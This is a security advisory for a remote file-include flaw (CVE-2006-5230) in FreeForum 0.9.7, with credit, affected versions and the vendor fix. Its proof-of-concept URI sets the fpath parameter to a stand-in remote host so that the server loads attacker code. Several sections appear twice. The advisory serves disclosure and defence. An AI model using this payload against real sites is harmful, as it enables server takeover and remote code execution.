FreeForum FPath Variable Remote File Include Vulnerability
BID:20388
Info
FreeForum FPath Variable Remote File Include Vulnerability
| Bugtraq ID: | 20388 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-5230 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 07 2006 12:00AM |
| Updated: | Dec 19 2007 11:11PM |
| Credit: | XORON is credited with the discovery of this vulnerability. |
| Vulnerable: |
freeForum freeForum 0.9.7 |
| Not Vulnerable: |
freeForum freeForum 0.9.7 .1 |
Discussion
FreeForum FPath Variable Remote File Include Vulnerability
FreeForum is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
FreeForum is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Exploit / POC
FreeForum FPath Variable Remote File Include Vulnerability
An attacker can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/forum.php?cfg_file=1&fpath=http://sh3LL?
An attacker can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/forum.php?cfg_file=1&fpath=http://sh3LL?
Solution / Fix
FreeForum FPath Variable Remote File Include Vulnerability
Solution:
The vendor released FreeForum 0.9.7.1 to address this issue. Please see the references for more information.
freeForum freeForum 0.9.7
Solution:
The vendor released FreeForum 0.9.7.1 to address this issue. Please see the references for more information.
freeForum freeForum 0.9.7
-
freeForum forum0971.zip
http://downloads.ezforum.de/forum0971.zip
References
FreeForum FPath Variable Remote File Include Vulnerability
References:
References: